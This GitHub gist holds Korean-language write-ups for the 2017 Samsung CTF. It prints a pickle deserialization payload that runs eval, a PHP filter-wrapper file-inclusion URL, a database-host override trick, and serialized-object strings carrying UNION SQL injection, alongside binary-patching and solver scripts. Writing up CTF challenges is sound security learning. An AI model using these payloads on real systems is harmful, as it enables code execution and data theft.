Skip to content

Instantly share code, notes, and snippets.

@5unKn0wn
Last active July 10, 2017 12:56
Show Gist options
  • Save 5unKn0wn/87a9d0e4026d699346247d92ab0b1acc to your computer and use it in GitHub Desktop.
Save 5unKn0wn/87a9d0e4026d699346247d92ab0b1acc to your computer and use it in GitHub Desktop.
2017_samsung_ctf_write-ups

2017 samsung ctf write-ups

Mic Check

SCTF{Welcome_to_SCTF2017_haha}

Readflag

처음에는 뭐하는건지 몰랐는데 구글에 python pickle dump vuln 검색하니까 좋은 예제들이 많이 나와있었다.

여기를 보고 풀었다.

그냥 system이나 listdir을 하면 bad syscall이라면서 샌드박스 걸려있길래 파일만 읽어야겠다고 유추했는데 flag, flag.txt, ../flag, fl4g 등의 값을 읽으려 해도 값이 없었다.

그래서 뭘 읽을까 고민하다가 element에 문자를 넣으니까 int와 str을 더할 수 없다는 에러가 나오면서 파일 이름이 test.py인 것을 알게 됐다.

그래서 test.py를 읽으려고 하는데 길이제한 걸려서 최대한 줄이고 줄이면서 하다 보니까

from pickle import dumps

class Exploit(object):
    def __reduce__(self):
        return (eval, ('open("test.py").read()',))

s = dumps(Exploit()) + '#'
print s

이렇게 eval로 test.py를 열어서 read하는 코드를 실행하니까 파일이 읽히면서 그 안에 플래그가 있었다.

SCTF{3a5y_e4zy_p1ckl1ng}

Letter To Me

http://lettertome.eatpwnnosleep.com/?page=main 이런 식으로 page= 있길래 http://lettertome.eatpwnnosleep.com/main.php 들어가봤는데 파일이 있어서 lfi가 될 느낌이 들었다. 그래서 php wrapper 이용해서 파일들을 모두 릭했다.

http://lettertome.eatpwnnosleep.com/?page=php://filter/convert.base64-encode/resource=index

이렇게 해서 릭을 하고 소스를 보는데 join을 하려면 admin의 초대가 있어야 한다고 한다. admin을 먼저 따야 할거 같아서 방법을 살펴보는데 로그인 할 때 sqli는 다 막아서 어쩌지 어쩌지 하다가 $_GET과 $_POST를 extract하는 걸 보고 이걸로 뭔가를 변조시켜야겠다고 생각했다.

처음에는 session을 변조시키려고 했는데 session_start가 extract보다 밑에 있어서 안돼가지고 extract보다 위에 conn.php를 통해서 선언하는 db관련 정보를 변조해야겠다고 생각했다.

db주소를 변조시킬 수 있기 때문에 내 서버의 mysql을 원격에서 접속할 수 있게 해두고 디비 만들고 주어진 테이블 스키마대로 테이블 만들고 admin / admin 값 넣어둔 후 login할 때 servername= 해서 주소를 덮어 쓰고 내 서버로 접속하게 해서 admin에 성공적으로 로그인했다.

그리고 다시 내 계정을 invite해서 로그인했다.

이제 send랑 show소스를 보는데 취약할 만한게 unserialize밖에 없었다. 근데 여기에 유저 인풋을 어떻게 넣을까 생각하다가 욕설을 필터링 할 때 *로 치환하는데 이 값도 conn.php에 있어서 이게 왜 여기 있을까 생각하다가 이걸 변조해서 치환할 때 유저 인풋을 넣어야겠다고 생각했다.

그리고 file 정보를 db에서 불러올 때 attached_file값으로 가져오는데 이 값이 정수이기 때문에 mysql_real_escape_string를 안해줘서 저 값을 변조하면 sql injection을 할 수 있을거 같아서 저 값을 변조했다.

send를 할 때 letter에 f**k를 쓰고 profanity_word_replace를

AAAA";s:13:"attached_file";s:121:"-1 union select group_concat(table_name,0x3a,column_name),2 from information_schema.columns where table_schema=database()";}

로 보내서 모든 테이블과 컬럼을 긁어왔다.

LTOM_Fl3g:flag,files:id,files:realname,files:path,notes:username,notes:data,users:username,users:password

이렇게 결과가 나왔고 플래그가 LTOM_Fl3g테이블의 flag컬럼에 있는 것을 파악 했으므로 다시 profanity_word_replace를

AAAA";s:13:"attached_file";s:37:"-1 union select flag,2 from LTOM_Fl3g";}

이렇게 보내서 플래그를 긁어왔다.

SCTF{Enj0y_y0ur_0nly_life}

Dfa

오토마타 기능 구현에서 취약점이 터질거라고 생각해서 그쪽만 엄청 봤는데 없어가지고 다른 부분들도 보다가 add할 때 입력 받을 때 길이 제한을 +1 해서 체크해놓고 실제 입력을 받을 때는 +1을 안하고 해서 -1 넣으면 체크할 때는 0이 돼서 통과하지만 입력 받을 때는 -1, 0xffffffff만큼 입력 받는게 돼서 오버플로우가 일어난다. 그래서 +1하지 않고 그대로 비교하게 했다.

SCTF{simple patch tutorial}

Bad

바이너리 형식이 일정해서 동적으로 함수 위치랑 인스트럭션 오프셋만 구해서 값을 바꿔주면 됐다.

stage1은 get_int함수에서 atoi에 넣을 임시 버퍼에 값을 받으면서 버퍼 오버플로우가 일어난다. 어셈을 파싱해서 sub esp, n1위치를 찾아서 n1을 가져와 read할 때 push n2에서 오버플로우가 나는 것이므로 이 부분을 패치했다.

stage2는 get_file함수에서 file이름을 받으면서 버퍼 오버플로우가 일어난다. stage1과 똑같은 방법으로 패치했다. 다만 stage1은 오프셋을 하드코딩 했는데 get_file은 조금씩 바껴서 동적으로 구해주게 했다.

stage3은 값을 입력받아서 구조체에 할당돼 있는 버퍼에 복사하는데 여기서 버퍼 오버플로우가 일어난다. 그래서 구조체를 만들 때 할당하는 버퍼 크기를 가져와서 입력 받을 때 넣는 버퍼 크기를 패치했다.

from pwn import *
import struct

def find_ret(start):
	idx = 0
	while True:
		if start[idx] == '\xc3':
			return idx + 1
		idx += 1

def find_sub_esp_8(start):
	idx = 0
	while True:
		# 83 EC 08
		if start[idx] == '\x83' and start[idx + 1] == '\xec' and start[idx + 2] == '\x08':
			return idx
		idx += 1

def stage1(binary):
	if binary[0x713] == '\x81':
		stack_size = u32(binary[0x715:0x715+4]) - 0xc
		patch_point = 0x71d
		if binary[0x71c] == '\x68':
			patch_size = 2
		elif binary[0x71c] == '\x6a':
			patch_size = 1
	elif binary[0x713] == '\x83':
		stack_size = ord(binary[0x715]) - 0xc
		patch_point = 0x71a
		if binary[0x719] == '\x68':
			patch_size = 2
		elif binary[0x719] == '\x6a':
			patch_size = 1

	# get_int = bytearray(binary[0x710:0x710 + find_ret(binary[0x710:])])

	# print disasm(str(get_int))
	# print hex(stack_size)

	binary = bytearray(binary)

	if patch_size == 1:
		binary[patch_point] = stack_size
	elif patch_size == 2:
		binary[patch_point] = stack_size & 0xff
		binary[patch_point + 1] = stack_size >> 8

	binary = str(binary)

	# get_int = bytearray(binary[0x710:0x710 + find_ret(binary[0x710:])])
	# print disasm(str(get_int))

	return binary

def stage2(binary):
	e = ELF("./stage2")
	get_file_addr = e.symbols['get_file'] - 0x8048000
	patch_size = 0

	# get_file = bytearray(binary[get_file_addr:get_file_addr + find_ret(binary[get_file_addr:])])
	# print disasm(str(get_file))

	if binary[get_file_addr+3] == '\x81':
		stack_size = u32(binary[get_file_addr+5:get_file_addr+5+4]) - 0xc
		patch_point = get_file_addr + 0x1b
		if binary[get_file_addr+0x1a] == '\x68':
			patch_size = 2
		elif binary[get_file_addr+0x1a] == '\x6a':
			patch_size = 1
	elif binary[get_file_addr+3] == '\x83':
		stack_size = ord(binary[get_file_addr+5]) - 0xc
		patch_point = get_file_addr + 0x18
		if binary[get_file_addr+0x17] == '\x68':
			patch_size = 2
		elif binary[get_file_addr+0x17] == '\x6a':
			patch_size = 1

	# print hex(stack_size), hex(len_size)

	binary = bytearray(binary)

	if patch_size == 1:
		binary[patch_point] = stack_size
	elif patch_size == 2:
		binary[patch_point] = stack_size & 0xff
		binary[patch_point + 1] = stack_size >> 8

	binary = str(binary)

	# get_file = bytearray(binary[get_file_addr:get_file_addr + find_ret(binary[get_file_addr:])])
	# print disasm(str(get_file))

	return binary

def stage3(binary):
	e = ELF("./stage3")
	modify_file_addr = e.symbols['modify_file'] - 0x8048000
	create_file_addr = e.symbols['create_file'] - 0x8048000
	buffer_size = 0

	create_file = bytearray(binary[create_file_addr:create_file_addr + find_ret(binary[create_file_addr:])])
	# print disasm(str(create_file))

	if binary[create_file_addr+find_sub_esp_8(binary[create_file_addr:])+3] == "\x68":
		buffer_size = u32(binary[create_file_addr+find_sub_esp_8(binary[create_file_addr:])+3+1:create_file_addr+find_sub_esp_8(binary[create_file_addr:])+3+1+4])
	elif binary[create_file_addr+find_sub_esp_8(binary[create_file_addr:])+3] == "\x6a":
		buffer_size = ord(binary[create_file_addr+find_sub_esp_8(binary[create_file_addr:])+3+1])

	# print hex(buffer_size)

	# modify_file = bytearray(binary[modify_file_addr:modify_file_addr + find_ret(binary[modify_file_addr:])])
	# print disasm(str(modify_file))

	patch_point = modify_file_addr + find_sub_esp_8(binary[modify_file_addr:]) + 3 + 1

	if binary[modify_file_addr+find_sub_esp_8(binary[modify_file_addr:])+3] == "\x68":
		patch_size = 2
	elif binary[modify_file_addr+find_sub_esp_8(binary[modify_file_addr:])+3] == "\x6a":
		patch_size = 1

	binary = bytearray(binary)

	if patch_size == 1:
		binary[patch_point] = buffer_size
	elif patch_size == 2:
		binary[patch_point] = buffer_size & 0xff
		binary[patch_point + 1] = buffer_size >> 8

	binary = str(binary)

	# modify_file = bytearray(binary[modify_file_addr:modify_file_addr + find_ret(binary[modify_file_addr:])])
	# print disasm(str(modify_file))

	return binary

u32 = lambda x : struct.unpack("<L", x)[0]

r = remote("bad3.eatpwnnosleep.com", 8888)

# stage1
r.recvuntil("STAGE : 1\n")
for i in range(30):
	binary = r.recvuntil("Send").replace("Send", "").decode('base64')
	with open("stage1", "wb") as f:
		f.write(binary)

	binary = stage1(binary)

	r.sendline(binary.encode('base64').replace('\n', ''))
	r.recvuntil("Success!\n")
	log.info("Stage1 : %d success" % (i + 1))

# stage2
r.recvuntil("STAGE : 2\n")
for i in range(30):
	binary = r.recvuntil("Send").replace("Send", "").decode('base64')
	with open("stage2", "wb") as f:
		f.write(binary)

	# binary = open("stage2").read()

	binary = stage1(binary)
	binary = stage2(binary)

	r.sendline(binary.encode('base64').replace('\n', ''))
	r.recvuntil("Success!\n")
	log.info("Stage2 : %d success" % (i + 1))

# stage3
r.recvuntil("STAGE : 3\n")
for i in range(30):
	binary = r.recvuntil("Send").replace("Send", "").decode('base64')
	with open("stage2", "wb") as f:
		f.write(binary)
	with open("stage3", "wb") as f:
		f.write(binary)

	# binary = open("stage3").read()

	binary = stage1(binary)
	binary = stage2(binary)
	binary = stage3(binary)

	r.sendline(binary.encode('base64').replace('\n', ''))
	r.recvuntil("Success!\n")
	log.info("Stage3 : %d success" % (i + 1))

r.interactive()

SCTF{BAD_1s_B3y0ndAppleD3veloper}

Buildingblocks

10개의 어셈 블록이 크게 세 가지 케이스로 나뉜다.

  • mov로 시작해서 eax와 edx의 연산을 시작하는 블록
  • cmp eax, ?로 eax값을 비교해서 연산 순서가 올바른지 체크하는 블록
  • syscall로 끝나며 연산을 끝내는 블록

처음에 mov로 시작하는 블록을 찾아서 add, sub, mul등의 인스트럭션을 파싱해서 내가 직접 연산해 주었다.

그리고 cmp블록에서 연산된 값과 eax를 비교하는 블럭을 찾아서 순차적으로 어셈 블록을 구성해 주었다.

그리고 맨 마지막에 syscall로 끝나는 블록을 넣어서 어셈 블록을 모두 맞춰주었다.

from capstone import *
from hashlib import *
from pwn import *

def calc(block, eax, edx, cmp_block=True):
	skip = 0
	for (address, size, mnemonic, op_str) in md.disasm_lite(block, 0):
		if cmp_block:
			if skip < 4:
				skip += 1
				continue

		if mnemonic == "mov":
			if op_str.split(", ")[0] == "eax":
				eax = int(op_str.split(", ")[1], 16)
			elif op_str.split(", ")[0] == "edx":
				edx = int(op_str.split(", ")[1], 16)

		elif mnemonic == "add":
			if op_str.split(", ")[0] == "eax":
				eax = (eax + int(op_str.split(", ")[1], 16)) & 0xffffffff
			elif op_str.split(", ")[0] == "edx":
				edx = (edx + int(op_str.split(", ")[1], 16)) & 0xffffffff

		elif mnemonic == "sub":
			if op_str.split(", ")[0] == "eax":
				eax = (eax - int(op_str.split(", ")[1], 16)) & 0xffffffff
			elif op_str.split(", ")[0] == "edx":
				edx = (edx - int(op_str.split(", ")[1], 16)) & 0xffffffff

		elif mnemonic == "mul":
			tmp = eax * edx
			eax = tmp & 0xffffffff
			edx = (tmp >> 32) & 0xffffffff

	return eax, edx

r = remote("buildingblocks.eatpwnnosleep.com", 46115)
md = Cs(CS_ARCH_X86, CS_MODE_64)

for i in range(10):
	r.recvuntil("stage (%d/10)\n" % (i + 1))
	code_list = [j.decode('base64') for j in eval(r.recvuntil("\n").rstrip())]

	# for l in code_list:
		# print disasm(l)
		# print "========================================"

	start_block = None
	calc_block = []
	end_block = None
	for l in code_list:
		if l[0] == '\xb8':
			start_block = l
		elif l[len(l) - 2] == '\x0f' and l[len(l) - 1] == '\x05':
			end_block = l
		else:
			calc_block.append(l)

	eax = 0
	edx = 0
	answer = start_block

	eax, edx = calc(start_block, eax, edx, cmp_block=False)
	# print hex(eax)

	for l in range(len(calc_block)):
		find = -1
		for ll in calc_block:
			for op in md.disasm(ll, 0):
				if int(op.op_str.split(", ")[1], 16) == eax:
					find = calc_block.index(ll)
					answer += calc_block[find]
					break
				else:
					break
			if find != -1:
				break

		eax, edx = calc(calc_block[find], eax, edx)

		# print hex(eax)

	answer += end_block

	# print disasm(answer)
	r.sendline(sha256(answer).hexdigest())
	log.info("stage%d success", (i + 1))

r.interactive()

SCTF{45m_d1545m_f0r3v3r}

Easyhaskell

Flag : =ze=/<fQCGSNVzfDnlk$&?N3oxQp)K/CVzpznK?NeYPx0sz5 란다.

바이너리를 실행시켜 봤는데 항상

"/WGx9=ddP@f?nY]$e@CzC2kKeKedoW;BDWeOeWudC2Pso:GKC2u:C)QJeK~BCK=xD2o]op55"

이 값만 나왔다.

도무지 이해가 안되서 막 xor도 해보고 이것저것 해봤는데 답이 안나왔다. 디컴파일러는 잘 돌아가지도 않고 디버깅 하기에는 너무 빡셌다. 그래서 ltrace를 이용해서 대략적인 함수 호출의 흐름을 봤는데 이상하게 argv[0]을 많이 사용했다. strcpy, strrchr, strlen 등 시스템에서 사용하는거라고 하기에는 argv[0]을 너무 많이 사용해서 파일 이름을 바꿔보고 실행했더니 출력되는 값이 바꼈다.

파일 이름을 여러가지로 바꿔보면서 분석했는데

1 --> "CH55"
11 --> "C)Q5"
111 --> "C)Q]"
1111 --> "C)Q]CH55"

위 규칙을 보면 3글자 단위로 암호화 해서 뒤에 붙인다는 것을 알 수 있다. 이걸 보고 base64가 제일 먼저 생각났으며 1을 base64인코딩 한 값이 "MQ==" 인 것을 보고 테이블이 변경된 base64라는 것을 알게 됐다.

여러가지 테스트케이스를 만들어서 알아낸 테이블은

|yt2QGYA;u_RCeD0H/c)=NWVo&6nPk9$~dOKa?:<w81T!f3ip]Bxzl@sJjM  S  5

이렇다. (공백은 알아내지 못한 값)

이 값을 테이블로 하여 위에 플래그라고 주어진 값을 base64 복호화 해 보면 플래그가 나온다.

SCTF{D0_U_KNoW_fUnc10N4L_L4n9U4g3?}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment